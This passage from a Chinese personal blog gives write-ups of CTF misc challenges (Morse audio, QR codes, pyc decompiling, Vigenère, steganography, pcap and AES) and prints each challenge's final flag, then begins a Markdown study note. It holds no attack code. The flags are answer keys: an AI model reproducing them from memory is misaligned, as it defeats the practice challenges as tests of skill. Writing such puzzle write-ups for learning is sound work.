src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5ilt0wH.LW0abHD6LtBCX9sGBHnkWklnpUkeF1FYn6vMdF1PatDGrPYZAJkUV8AMjEWMQVT3W1GXiuxTKQc7Mq8!/b&ek=1&kp=1&pt=0&bo=SgW5A0oFuQMDEDU!&tl=1&vuin=2861126078&tm=1674050400&dis_t=1674051067&dis_k=005501f1d6cb46b329821f78e588e10a&sce=50-1-1&rf=viewer_311" alt="" /></p><p><em>PS:本来可以不用打游戏,但是现在支持swf文件播放的播放器太少了,potplayer和VLC都不支持了,干脆给他通关了</em></p><h1 id="0x14-摩斯电码">0x14 摩斯电码</h1><p>下载下来是一个音频,听起来像摩斯密码,用Audacity打开发现长短交错<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6lDl*1uvXvXxpLvdQO*3OFLj248nAmgU8BAiXIJci8XGaeYHnm*Bf1tC96WQgla7ek!/b&ek=1&kp=1&pt=0&bo=ewYkBHsGJAQWECA!&tl=3&vuin=2861126078&tm=1675047600&dis_t=1675048694&dis_k=b5c290eedb4c66f404a973e6ecab242a&sce=60-1-1&rf=viewer_311" alt="" /><br />输入到网站解出flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6naUHVaJNKf5w*iyPqQEMNnuczxyh*cLs93wzJIKG2qUxpDfk.klvaReU2g.92vUcM!/b&ek=1&kp=1&pt=0&bo=XAjMA1wIzAMDEDU!&tl=1&vuin=2861126078&tm=1675047600&dis_t=1675048708&dis_k=b2357c3a8b7ecee8b1f2cf659bd7d3f1&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{THESECRETWDFLAGISMORESCODE1SFUN}</p></blockquote><h1 id="0x15-3-2">0x15 3-2</h1><p>点开是一张动图,下载下来用PS调一调得到以下二维码:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6kSibAItGyK4D1RHqBg6ut.wqniT9hnmqiRazkVUv8J8Dk2ZCxKEbuvsGDap*fvs*4!/b&ek=1&kp=1&pt=0&bo=AAoDBgAKAwYWECA!&tl=3&vuin=2861126078&tm=1675065600&dis_t=1675067120&dis_k=2d698739fa2d2af048615ffa325c8b5e&sce=60-1-1&rf=viewer_311" alt="" /><br />扫描后得到一大串文本:</p><blockquote><p>03f30d0ab8c1aa596300000000000000000200000040000000732e0000006400006401006c00005a00006402005a01006403005a02006404008400005a03006405008400005a040064010053280600000069ffffffff4e7403000000637466733d0000003138362c39382c3138302c3135342c3133392c3139322c3131342c31342c3130322c3136382c34332c3133362c35322c3231382c38352c3130302c3433630200000004000000070000004300000073610000007400006a01007c0100830100016401007d02007838007c0000445d30007d03007c02007402007403007c03008301007400006a04006402006403008302004183010064040017377d0200711a00577c02006a05006404008301007d02007c02005328050000004e7400000000690000000069ff00000074010000002c2806000000740600000072616e646f6d740400000073656564740300000073747274030000006f7264740700000072616e64696e7474050000007374726970280400000074040000007374723174030000006b65797404000000737472327401000000632800000000280000000073100000002f686f6d652f6374662f6262622e7079740500000066756e633107000000730c00000000010d0106010d012e010f016302000000040000000700000043000000735d0000007400006a01007c0100830100016401007d02007843007c00006a0200640200830100445d32007d03007403007c03008301007d03007c02007404007c03007400006a050064030064040083020041830100377d0200712300577c02005328050000004e52010000005202000000690000000069ff000000280600000052030000005204000000740500000073706c69747403000000696e74740300000063687252070000002804000000520b000000520a00000052090000007401000000692800000000280000000073100000002f686f6d652f6374662f6262622e7079740500000066756e63320f000000730c00000000010d01060116010c01240128050000005203000000520a000000740400000073747272520d000000521200000028000000002800000000280000000073100000002f686f6d652f6374662f6262622e707974080000003c6d6f64756c653e0100000073080000000c02060106030908</p></blockquote><p>写入winhex,看起来像python的输出文件<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmbfONtDy531dgWBvAyo6nVit5MzVcPXHb*KHoOKv8RlFTQ*F*SG7.vs8HtLiCkDJ7uEo4oh7jW63Tli45QXfs!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=3&vuin=2861126078&tm=1675065600&dis_t=1675067120&dis_k=480ec7ebd1cf3ec51502641ad97a1fa6&sce=60-1-1&rf=viewer_311" alt="" /><br />进行反编译得到<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5ilt0wH.LW0abHD6LtBCX9usdiPVSRIU4N8Abp7NJgMfxy*TQdrPLIR6qUkX8pOLytAX*4r74hLDsDpIqHHKDz4!/b&ek=1&kp=1&pt=0&bo=vwGLAb8BiwEDEDU!&tl=1&vuin=2861126078&tm=1675065600&dis_t=1675067140&dis_k=0f5ce555dfa317f3d7ed0f6668fe1c76&sce=50-1-1&rf=viewer_311" alt="" /><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5ilt0wH.LW0abHD6LtBCX9vyfn0PxHU4ekoJq3MvP6vNsooVJrdCqgQzlwF8DTfzjyvSyGbpOUEhr4yxg0GdvDI!/b&ek=1&kp=1&pt=0&bo=*wn3Bf8J9wUWECA!&tl=1&vuin=2861126078&tm=1675065600&dis_t=1675067140&dis_k=1c53a7b419e85da1e213b27d7f1fe8f5&sce=50-1-1&rf=viewer_311" alt="" /></p><p>再调用func2得到flag</p><blockquote><p>flag{U_r_Greatt!}</p></blockquote><p><em>PS:试了两个小时,怎么调用函数,用什么系统调用出来都是乱码,迫不得已看了wp,猜测是python生成随机数的算法变了</em></p><h1 id="0x16-testpyc">0x16 test.pyc</h1><p>下载下来是一个pyc文件,进行反编译,失败后得到:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vorKWQm6Ar0ejDkoHGjIpYQ.DNGMFiDsT6Nx765J.9w.8xlGM2RqJrI99j99qs3cP4B7cblIGUwhOEclPVcR9g!/b&ek=1&kp=1&pt=0&bo=*wn3Bf8J9wUWECA!&tl=3&vuin=2861126078&tm=1675069200&dis_t=1675069613&dis_k=23ef37cf5bbf31f2be4978d979b989dd&sce=60-1-1&rf=viewer_311" alt="" /><br />根据里面的‘base64’,乱码和等号,猜测是用base64加密了flag,把乱码组合起来得到</p><blockquote><p>=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf</p></blockquote><p>先反向再base64得到<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vorKWQm6Ar0ejDkoHGjIpYer0DYStNwm9A69n470bsFX2fuCoF*hUHiaPvhntBgZmEbCXkKRW9Z6.N5yCLJh.g!/b&ek=1&kp=1&pt=0&bo=8QTEA*EExAMDEDU!&tl=1&vuin=2861126078&tm=1675069200&dis_t=1675069615&dis_k=b7c990688b44dd297129492725508e8c&sce=50-1-1&rf=viewer_311" alt="" /><br />再反向得到</p><blockquote><p>gmbh|237e9g47f3c597186b2892g62g52f255~</p></blockquote><p>前面4个字母刚好和flag差一位,推测是ASCII码表偏移,用以下代码得到flag</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">c=<span class="string">'gmbh|237e9g47f3c597186b2892g62g52f255~'</span></span><br><span class="line">d=<span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(c)):</span><br><span class="line"> k = <span class="built_in">chr</span>(<span class="built_in">ord</span>(c[i])-<span class="number">1</span>)</span><br><span class="line"> d+=k</span><br><span class="line"><span class="built_in">print</span>(d)</span><br></pre></td></tr></table></figure><blockquote><p>flag{126d8f36e2b486075a1781f51f41e144}</p></blockquote><h1 id="0x17-challenge_how_many_vigenère">0x17 challenge_how_many_Vigenère</h1><p>步骤很清晰,先把得到的文本文件用维吉尼亚解密爆破出key和原文,爆破网站<a href="https://www.guballa.de/vigenere-solver">https://www.guballa.de/vigenere-solver</a><br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vorKWQm6Ar0ejDkoHGjIpajMa8YA5Ll55SdRHnWF0haZz4E8X6QDXXZZT3tccyUAwuaYhE4CgHSU9dvUXW*Wk4!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=3&vuin=2861126078&tm=1675069200&dis_t=1675070437&dis_k=7657f58b6dc1e65503ae18683237d063&sce=60-1-1&rf=viewer_311" alt="" /><br />看原文应该是爱丽丝梦游仙境,英文名Alice’s Adventures in Wonderland,用得到的key进行加密得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vorKWQm6Ar0ejDkoHGjIpYuokkpWtP9Op*dEMHp6NXYb7x0*q01QQcL7kQ3fKqa7S.Au4OGIfIz1lOVK.OuESo!/b&ek=1&kp=1&pt=0&bo=JAQ1AiQENQIDEDU!&tl=1&vuin=2861126078&tm=1675069200&dis_t=1675070439&dis_k=51bcbd53ae5c01500118f7ac2faf9952&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{osqjdcsvzjxfkoutsvdmoqcegnqc}</p></blockquote><h1 id="0x18-hear-with-your-eyes">0x18 Hear-with-your-Eyes</h1><p>下载下来一个位未知文件,用winhex打开看到有sound.wav的字样,猜测有个wav文件<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5t2uxnf51ERrI*lw2BjTg0v4AEhmeR5xz1vap5K5J5GDPTXxMFJyRN9UWh1zOxocwYf*kTmF2CXJxUJCbZuLrBk!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=3&vuin=2861126078&tm=1675069200&dis_t=1675071760&dis_k=8d5b85bee80145514038e95c79551107&sce=60-1-1&rf=viewer_311" alt="" /><br />直接改文件名不行,于是用winhex文件修复出一个压缩包含有soung.wav,结合标题猜测是频谱图写了东西,用Audacity打开得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5t2uxnf51ERrI*lw2BjTg0uunwk7u*FuwHZpSHmCXZ*2caKifljl7b2f438ZsqSRjIzUo6jIowjwWQvi.*L*v4U!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=3&vuin=2861126078&tm=1675069200&dis_t=1675071780&dis_k=8414049af338c8f1137a2ad9c70bc72c&sce=60-1-1&rf=viewer_311" alt="" /></p><p><em>PS:这里的flag直接交后面的字符串</em></p><h1 id="0x19-what-is-this">0x19 What-is-this</h1><p>解压缩后是一个未知文件,用winhex打开看到有jpg的字样<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lmwDMpYqCGRgIGe6xXxLv*dT0Jt1iuAwemstIg*vKjt0*j51E5r1nAOWXkRv.MDuA44z2CXJVFYaGYsz7L68Zo!/b&ek=1&kp=1&pt=0&bo=AAr6BQAK.gUWECA!&tl=3&vuin=2861126078&tm=1675072800&dis_t=1675073033&dis_k=7ba54aff4a2c9f5d8ed72442c4ee251b&sce=60-1-1&rf=viewer_311" alt="" /><br />转手改文件名没用,于是恢复文件出一个压缩包,含有两张图片,全是密密麻麻的像素点,用PS稍做处理,及讲其中一张图片的白色部分消去再重叠得到以下:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5vEUunFEnnkbg7VSt0aZHg*rgofbDQ1ip7*o4waOrcIgMo1C9UvQu3xt8mycP7Iz6rN38GK7L3.6BRMiljmROug!/b&ek=1&kp=1&pt=0&bo=AAoDBgAKAwYWECA!&tl=1&vuin=2861126078&tm=1675072800&dis_t=1675073035&dis_k=fb53816b052c6eb80cfc48959eadd189&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>AZADI TOWER</p></blockquote><h1 id="0x1a-glance-50">0x1a glance-50</h1><p>点开是一张动图,隐约有字母飘过,打开PS稍作处理得到flag:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5usf.UVz8YaQzD0zQlZzkk1OWjbs9DLj9SS3X0C9ig3TxeVN1QVazjVcZFReMqv.uLi*kNJD.FohdUDWDg15M5o!/c&ek=1&kp=1&pt=0&bo=AAlgBQAJYAUWECA!&tl=3&vuin=2861126078&tm=1675076400&dis_t=1675077931&dis_k=020a8d7c4e03b8d09d6b1622f182a9fc&sce=60-2-2&rf=viewer_311" alt="" /></p><blockquote><p>TWCTF{Bliss by Charles O’Rear}</p></blockquote><h1 id="0x1b-give_you_flag">0x1b give_you_flag</h1><p>打开又是一张动图,闪过了一张二维码,于是用PS打开<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5msXb6s*wVPjtFGMfx.pr*gKOev1PKrAFmMfxaTTG8POfTk.rYPN57V2xZFDH9ErqES29GOwfFKVL3EMhNq*tls!/b&ek=1&kp=1&pt=0&bo=AAlgBQAJYAUWECA!&tl=3&vuin=2861126078&tm=1675076400&dis_t=1675078603&dis_k=8b6156f46d03f5c5dfea6f6412eb9f82&sce=60-1-1&rf=viewer_311" alt="" /><br />发现缺少三个角,给他补上后扫描得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5msXb6s*wVPjtFGMfx.pr*jCn9RDCtOo74m7SfsUsSwZ7Nf2koqNWy8RcsHUaeehMkKb*A7wYIszDgMzaJruucQ!/b&ek=1&kp=1&pt=0&bo=AAlgBQAJYAUWECA!&tl=1&vuin=2861126078&tm=1675076400&dis_t=1675078606&dis_k=516f09bacfedfd08708e36be57a9a4d5&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{e7d478cf6b915f50ab1277f78502a2c5}</p></blockquote><h1 id="0x1c-stegano">0x1c stegano</h1><p>点开是一个pdf文档,看到有水印想到可能藏在水印里,于是CtrlA+C+V到记事本果然在最后发现可疑文字,由B和A组成,首先想到培根密码<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5twNPtCY1HNutTKLgAe8swXh9GYOz3SpPhGy*Z48TYN092rdLYL8ehqJvjthXjXHvJ*a4YhWbuMrl4Dt937bZXo!/c&ek=1&kp=1&pt=0&bo=DAZNAgwGTQIDEDU!&tl=1&vuin=2861126078&tm=1675411200&dis_t=1675414698&dis_k=f1de58b6391e25cfad851bc8921b8fca&sce=60-2-2&rf=viewer_311" alt="" /><br />发现不行,然后想到摩斯密码,转换成摩斯密码后解密得到flag:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5twNPtCY1HNutTKLgAe8swXLROAn5ip32h9NAY..i9uHFbOZcnCyasRDZYyc3Uk0GaJ14bdL15dEzNm9UDn2DTA!/b&ek=1&kp=1&pt=0&bo=nAjdA5wI3QMDEDU!&tl=1&vuin=2861126078&tm=1675411200&dis_t=1675414704&dis_k=697b39c943b0eb724162c04bb651968f&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{1nv151bl3m3554g3}</p></blockquote><h1 id="0x1d-坚持60s">0x1d 坚持60s</h1><p>下载下来是一个jar文件,是一个需要你坚持60秒的小游戏,懒得玩,直接用jd-gui打开,找到结束语<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iqrEr78Q.JiQK77OxqclryWSr7QDllYHhCy3TNeRdzaS.Ydgzqkrawtj093cXLfsgD*bcnLwWTn*nMPmIG5ru0!/b&ek=1&kp=1&pt=0&bo=AApABgAKQAYDEDU!&tl=1&vuin=2861126078&tm=1675414800&dis_t=1675416770&dis_k=d8624f1a828d9c2a98a766892a947a45&sce=60-1-1&rf=viewer_311" alt="" /><br />直接提交不行,把花括号里的乱码用base64解码一下得到flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iqrEr78Q.JiQK77OxqclryFohOfvYcAH**cPSfcSxqXCwS232u.0txDlx1ynnTfpIV7BStMdsMvajZd5xCzwus!/b&ek=1&kp=1&pt=0&bo=uQMDArkDAwIDEDU!&tl=1&vuin=2861126078&tm=1675414800&dis_t=1675416773&dis_k=86eca36879a5005f9ccddfd52137576e&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{DajiDali_JinwanChiji}</p></blockquote><h1 id="0x1e-gif">0x1e gif</h1><p>下载下来是一个gif文件,非常友好的给出了每一帧:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qg.5mR3T1mCK*kgY0rD1L9RV5JtYYVop6d3W6.4o6ut04WxNbOQwFPOzdLpyc*yIegcbPP50aD6au0GL58oDM0!/c&ek=1&kp=1&pt=0&bo=zwXLBM8FywQDEDU!&tl=1&vuin=2861126078&tm=1675418400&dis_t=1675419484&dis_k=accf5d50742fbfd116816f97913cd344&sce=60-2-2&rf=viewer_311" alt="" /><br />发现是黑白相间的,猜测是摩斯密码,以白色为0黑色为1,翻译得到</p><blockquote><p>01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101</p></blockquote><p>用摩斯密码解密没得到有效信息,猜测是二进制,解得flag<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5qg.5mR3T1mCK*kgY0rD1L8.f7*z7D4y6J9.PGvRtDXB3vIsiFt*9zyyf8AAJtZ3ayVk3xTeRVaGTBVZA9XKtTk!/b&ek=1&kp=1&pt=0&bo=PwZuAz8GbgMDEDU!&tl=1&vuin=2861126078&tm=1675418400&dis_t=1675419487&dis_k=e2e7d34667b9116e925e982757e232cd&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{FuN_giF}</p></blockquote><h1 id="0x1f-如来十三掌">0x1f 如来十三掌</h1><p>下载下来是一个word文件,打开是一段天书:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5jEAFIIaitgy1jDkhyast4Y6KOPk21fHjkYV3u4Ff0ecqOGvvsga9maGxHPV*xfNZXPvsn.306jBU0j*FcGVbCA!/m&ek=1&kp=1&pt=0&bo=.QUEAvkFBAIDEDU!&tl=1&vuin=2861126078&tm=1675418400&dis_t=1675420358&dis_k=da978206572454d2f3b76ef4a912ac4a&sce=60-4-3&rf=viewer_311" alt="" /><br />想起来有一种加密叫做与佛伦禅,解密得到:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5jEAFIIaitgy1jDkhyast4YQaYQCm.popuFBuuIhv9EcqTVoD3l04bf8nuuvZ.NQqJZlHdcZWJnQsfVXy6VxgyE!/b&ek=1&kp=1&pt=0&bo=DwRQAw8EUAMDEDU!&tl=1&vuin=2861126078&tm=1675418400&dis_t=1675420361&dis_k=9b558bb66afad4621e8ceec49b3ae24d&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9</p></blockquote><p>丢进Cyberchef后得到flag:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5jEAFIIaitgy1jDkhyast4Zj8ftT1qTumDAK6JecwQSi8eqA3cCXKdY7izGS0ftg654lmzlW.Zavc1kyoiudS6Q!/b&ek=1&kp=1&pt=0&bo=tgUiA7YFIgMDEDU!&tl=1&vuin=2861126078&tm=1675418400&dis_t=1675420361&dis_k=c113c0bf24ad15b62b0288c879157c6d&sce=50-1-1&rf=viewer_311" alt="" /></p><blockquote><p>flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}</p></blockquote><h1 id="0x20-互相伤害">0x20 互相伤害!!!</h1><p>下载下来是一个未知文件,用winhex打开发现wireshark字样,判断是pcap文件,于是改后缀名,导出http对象:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5u.T2qNWUlwi74g3hGz.fiBSaszg7kGs.V*2YVD0Nh2fQ1oJ*DgbN2IO3Gr8t.kq*.E..4OhSJsap4M1Q2zCQ74!/b&ek=1&kp=1&pt=0&bo=4AU*BOAFPwQWECA!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=a44c36d490ee05d612687d98f5c4aabf&sce=50-1-1&rf=viewer_311" alt="" /><br />是很多图片:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lf6HIUrMe6wxLCtDjLrXvHwVrGerWMshO8Jk07NWBXl1hVdz205ulRH8F*9JQ3Ebf.YiCZj7ZjUE0xsC2mEsKU!/b&ek=1&kp=1&pt=0&bo=zwWpBM8FqQQWECA!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=0af09ca59eb9186e93045304b401f6c9&sce=50-1-1&rf=viewer_311" alt="" /><br />找到这一张;<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5u.T2qNWUlwi74g3hGz.fiAPxOEO8Cvnv2gVRNPfBWNWnuAegtjdedgkurHD09FYn2VNWIZkgGrGmYY9l6HHaaM!/m&ek=1&kp=1&pt=0&bo=4QXbA.EF2wMWECA!&tl=3&vuin=2861126078&tm=1675425600&dis_t=1675428247&dis_k=a6de772663561ced2ca178173467809e&sce=60-4-3&rf=viewer_311" alt="" /><br />扫描后得到:</p><blockquote><p>U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7 bE9uL8lW/KLfbs33aC1XXw==</p></blockquote><p>base64解不出有用信息,上网查了发现这个U2Fs…是AES解密的特征,于是用AES解密:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lf6HIUrMe6wxLCtDjLrXvF1NL0k0VRXK0FgGcq8QhUglcUMuLETJ2jUFPWYBQbsNiRSMyzNj53mea4KDXNP62Q!/b&ek=1&kp=1&pt=0&bo=qwjlAasI5QEDEDU!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=17a26e92094e23f8e44f615794024f1a&sce=50-1-1&rf=viewer_311" alt="" /><br />解出一段不知道有什么用的文字</p><blockquote><p>668b13e0b0fc0944daf4c223b9831e49</p></blockquote><p>斟酌良久,然后就看了wp</p><p>题目叫互相伤害!!!,所以再图片中找到一张这样的图片:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5iJhLOeF8WJEN1rVflAvJa4toN7hgAQUey0.w3DV6BcNpu1rc3QVwkCI0IYdyRFPMJmlvXyHko4pPYTvweekFuc!/b&ek=1&kp=1&pt=0&bo=4QXbA.EF2wMWECA!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=abcd0db2837354b0a1010f0505e7a652&sce=50-1-1&rf=viewer_311" alt="" /><br />不知道有什么用,binwalk一下出来一个压缩包<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lf6HIUrMe6wxLCtDjLrXvEYm1nyW77SseqFfyUdHcPk5ulRW.wwQeBRwZ.xDU7wxP2k9iDFseQ9IkLvs3apcxg!/b&ek=1&kp=1&pt=0&bo=4wZUAeMGVAEWECA!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=5d9030e23273370bdeed51eceed9b997&sce=50-1-1&rf=viewer_311" alt="" /><br />要我输密码,于是联想到上面的668b13e0b0fc0944daf4c223b9831e49,输进去得到一张图片:<br /><img src="http://a1.qpic.cn/psc?/V1068qpV1zuJZt/ruAMsa53pVQWN7FLK88i5lf6HIUrMe6wxLCtDjLrXvF*L.xsJHVZi8x6lfkdKt1nZnTQ2R3t.5nCBEwpychvo*uc*E7c*w*pHFWbb4UxTJI!/b&ek=1&kp=1&pt=0&bo=*wXFBP8FxQQWECA!&tl=1&vuin=2861126078&tm=1675425600&dis_t=1675428251&dis_k=679ea9e87ce8b7bc24536e42a02e53ae&sce=50-1-1&rf=viewer_311" alt="" /><br />扫描大的二维码得到以下文字:</p><blockquote><p>扔下内衣真有一线生机????交出内裤才有活路!!!!</p></blockquote><p>扫描小的二维码得到flag:</p><blockquote><p>flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}</p></blockquote><p><em>PS:注意题目要求提交的是flag{}里面的,不用套上flag{}</em></p><p>补充:关于用AES解密和其密码,图片上是有提示的</p><p>小彩蛋:最后扫大二维码得到的<em>扔下内衣真有一线生机????交出内裤才有活路!!!!</em> 也有对应的图片,将那个图片binwalk也会出来一个压缩包,包里是一张二维码,扫出来还是 <em>扔下内衣真有一线生机????交出内裤才有活路!!!!</em>,不知有何用意</p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_Markdown</title>
<link href="/2022/12/15/About_markdown/About_markdown/"/>
<url>/2022/12/15/About_markdown/About_markdown/</url>
<content type="html"><![CDATA[<h1 id="关于markdown的学习">关于Markdown的学习</h1><p>## 二级标题</p><h3 id="三级标题">三级标题</h3><p>正文直接写。<br />换了一行?<br />x<sup>2</sup></p><!--这是注释--><p>换了一段</p><p>怎么强调? <strong>加粗</strong> <em>斜体</em> //ctrl+i也可以转换斜体,+b转换加粗</p><p><s>横线删除</s></p><blockquote><p>这是引用</p></blockquote><p>这是分割线</p><hr /><p><mark>这是标记</mark></p><h2 id="列表">列表</h2><ol><li>列表<ol><li>tab缩进,shift+tab回缩</li></ol></li><li>哈哈哈</li><li>啦啦啦</li></ol><h2 id="图片">图片</h2><p>浏览器引入图片是ctrl+alt+v<br /><img src="2022-12-14-16-32-28.png" alt="" /><br /><em>这是蔚蓝</em></p><p>普通引入图片是将图片考到当前文件夹然后 <img src="%E5%9B%BE%E7%89%87%E5%90%8D" alt="" /><br />比如:<br /><img src="2022-11-03%20202113.png" alt="" /><br /><img src="https://i0.imgs.ovh/2023/10/29/FyU9u.jpeg" alt="FyU9u.jpeg" /></p><h2 id="latex">Latex</h2><p class='katex-block'><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><mi>Γ</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mfrac><mrow><msubsup><mo>∫</mo><mi>α</mi><mi>β</mi></msubsup><mi>g</mi><mo stretchy="false">(</mo><mi>t</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>t</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mtext>d</mtext><mi>t</mi></mrow><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>N</mi><mo>−</mo><mn>1</mn></mrow></munderover><msub><mi>ω</mi><mi>i</mi></msub></mrow></mfrac></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(2)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">\varGamma(x)=\frac{\int_{\alpha}^{\beta}g(t)(x-t)^2\text{d}t}{\phi(x)\sum_{i=0}^{N-1}\omega_i}\tag{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathit">Γ</span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:2.960769em;vertical-align:-1.170941em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.789828em;"><span style="top:-2.172777em;"><span class="pstrut" style="height:3.044008em;"></span><span class="mord"><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:-0.0000050000000000050004em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.981231em;"><span style="top:-2.40029em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.29971000000000003em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span 